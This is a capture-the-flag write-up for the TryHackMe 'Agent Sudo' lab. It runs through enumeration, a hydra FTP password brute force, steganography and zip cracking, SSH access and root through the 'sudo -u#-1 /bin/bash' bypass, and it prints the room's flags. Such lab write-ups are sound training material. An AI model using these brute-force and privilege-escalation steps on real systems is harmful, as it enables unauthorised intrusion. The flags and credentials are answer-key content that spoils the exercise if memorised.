Hero Background Image

Agent Sudo

TryHackMe

You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.

#

Preparation

First of all, I registered the IP address into my /etc/hosts file to create a virtual domain. This ensure me to perform enumeration steps without the need to remember every single number in it.

$ sudo echo "10.10.47.241 agentsudo.test" >> /etc/hosts

#

Enumeration

Using nmap, I scanned the ports of the previously registered virtual domain and found 3 open ports: 21,22,80.

Apart from that, I also put additional arguments to the command to get detailed information about the target and generate a log file called initscan inside the nmap directory.

$ nmap -sC -sV -oA nmap/initscan agentsudo.test
# Nmap 7.92 scan initiated Sat Oct  1 22:16:42 2022 as: nmap -sC -sV -oA nmap/initscan agentsudo.testNmap scan report for agentsudo.test (10.10.47.241)Host is up (0.43s latency).Not shown: 997 closed tcp ports (conn-refused)PORT   STATE SERVICE VERSION21/tcp open  ftp     vsftpd 3.0.322/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))|_http-title: Annoucement|_http-server-header: Apache/2.4.29 (Ubuntu)Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Oct  1 22:21:11 2022 -- 1 IP address (1 host up) scanned in 268.88 seconds

Later on with gobuster, I performed a URI brute-force to figure out if there is any interesting directories I could find and take advantage out of it. Unfortunately, I didn't find any.

$ gobuster dir -u agentsudo.test -w /usr/share/wordlists/dirb/big.txt | tee gobuster.log
===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url:                     http://agentsudo.test[+] Method:                  GET[+] Threads:                 10[+] Wordlist:                /usr/share/wordlists/dirb/big.txt[+] Negative Status codes:   404[+] User Agent:              gobuster/3.1.0[+] Timeout:                 10s===============================================================2022/10/01 22:28:20 Starting gobuster in directory enumeration mode===============================================================/.htaccess            (Status: 403) [Size: 279]/.htpasswd            (Status: 403) [Size: 279]/server-status        (Status: 403) [Size: 279]===============================================================2022/10/01 22:42:24 Finished===============================================================

I accessed their site at agentsudo.test and figured out a message about how am I supposed to properly access it. It says two keywords; codename and user-agent.

Screenshot of the clue

After seeing the name of the agent who sends the message, my first thought is that R might be the one of many agent's codename. But first, I have to figure out how to modify my browser's user-agent.

I googled a bit with some trial and errors before I found this. Somehow using Google Chrome, I am unable to get the user-agent working so I use Firefox.

Screenshot of the Google search result

After installing it, I clicked the icon and tried to manually switch my user-agent from A to Z through the userAgent field below the list. When I typed C and refreshes the page, the site redirects me to a new page containing a new message as well as the name of the agent.

Screenshot of the page after being redirected

In the next step, I were asked to get the ftp password. I used chris as the username, and brute-forced the password using hydra.

I also uses tee to log the result asynchronously to a file named hydra.log so I don't have to run the command again and save some time when I forgot the password.

After a while, I got the password

$ hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://agentsudo.test | tee hydra.log
...[21][ftp] host: agentsudo.test   login: chris   password: crystal...

I can now login to the ftp using chris's credential I got previously. Inside, I found 3 files.

ftp> ls229 Entering Extended Passive Mode (|||49300|)150 Here comes the directory listing.-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png226 Directory send OK.

I downloaded them using get command for each files

ftp> get To_agentJ.txt # cute-alien.jpg, cutie.png

Next, after quitting the ftp session, I take a look at To_agentJ.txt file, I found another clue noting that the password of Agent J is in the one of these fake pictures.

$ cat To_agentJ.txtDear agent J,All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.From,Agent C

Using strings, I figured out that there is an embedded file inside the image called To_agentR.txt. I tried exiftool but I don't see any options to extract the file inside the image.

$ strings cutie.png...To_agentR.txt......To_agentR.txt...

I decided to find some clues in the THM's discord and found a spoiler-ed message by user Monox about cutie.png, which is the same file I tried to show the content using the strings. Out of curiosity, I peeked at it and he mention a tool called binwalk so I tried that after reading the manual.

$ binwalk -e cutie.pngDECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced869           0x365           Zlib compressed data, best compressionWARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt34820         0x8804          End of Zip archive, footer length: 22

The binwalk operation was successfully performed and a new directory called _cutie.png.extracted is created, inside it, there is a zip file protected with a password. I used zip2john to "encrypt" the file so that john understand how to crack the password.

I also redirected the output to a file named forjohn.txt

$ zip2john 8702.zip >> forjohn.txt

And then I simply tell john to crack the password using the file I mention before.

$ john forjohn.txt --wordlist=/usr/share/wordlists/rockyou.txt...alien            (8702.zip/To_agentR.txt)     ...

I extracted the zip file using 7z instead of unzip because for some reason, it won't work and I found 3 files inside.

365  365.zlib  To_agentR.txt

Looking at To_agentR.txt , I found an encrypted string. I was able to decrypt it using base64

$ echo 'QXJlYTUx' | base64 -dArea51 

Using a tool called steghide , I was able to confirm that there is also a embedded file inside the image of cute-alien.jpg, and it turns out that Area51 is the passphrase

$ steghide info cute-alien.jpg"cute-alien.jpg":  format: jpeg  capacity: 1.8 KBTry to get information about embedded data ? (y/n) yEnter passphrase:   embedded file "message.txt":    size: 181.0 Byte    encrypted: rijndael-128, cbc    compressed: yes

Using the same tool, after reading the manual, I extracted the file message.txt by this command

$ steghide extract -sf cute-alien.jpg -p Area51 wrote extracted data to "message.txt".

And then when I look at the file's content, I got the name james and the password hackerrules!

$ cat message.txt  Hi james,Glad you find this message. Your login password is hackerrules!Don't ask me why the password look cheesy, ask agent R who set this password for you.Your buddy,chris

#

Gaining Foothold

Using james' credential, I gained access to the shell

$ ssh james@agentsudo.test
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information disabled due to load higher than 1.0* Kata Containers are now fully integrated in Charmed Kubernetes 1.16!  Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.    https://ubuntu.com/kubernetes/docs/release-notes75 packages can be updated.33 updates are security updates.Last login: Tue Oct 29 14:26:27 2019james@agent-sudo:~$ 

#

Capturing User Flag

This part is the easiest to do since the file is in the same directory as james'. I only need to execute this command

james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7

#

Escalating The Privilege

I checked his sudo privilege, and the output is a bit unusual. He don't have the privilege to execute /bin/bash as root but it could be executed by any user.

james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser james may run the following commands on agent-sudo:    (ALL, !root) /bin/bash

After a bit of googling, I figured a way to bypass it

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~#

#

Capturing Root Flag

Looking at /root/root.txt, there is a message from Agent R containing the root flag

root@agent-sudo:~# cat /root/root.txt
To Mr.hacker,Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is b53a02f55b57d4439e3341834d70c062By,DesKel a.k.a Agent R

By this, my mission on agentsudo is done. Thanks for reading and if you were following along, well done!

Copyright 7U124 © 2025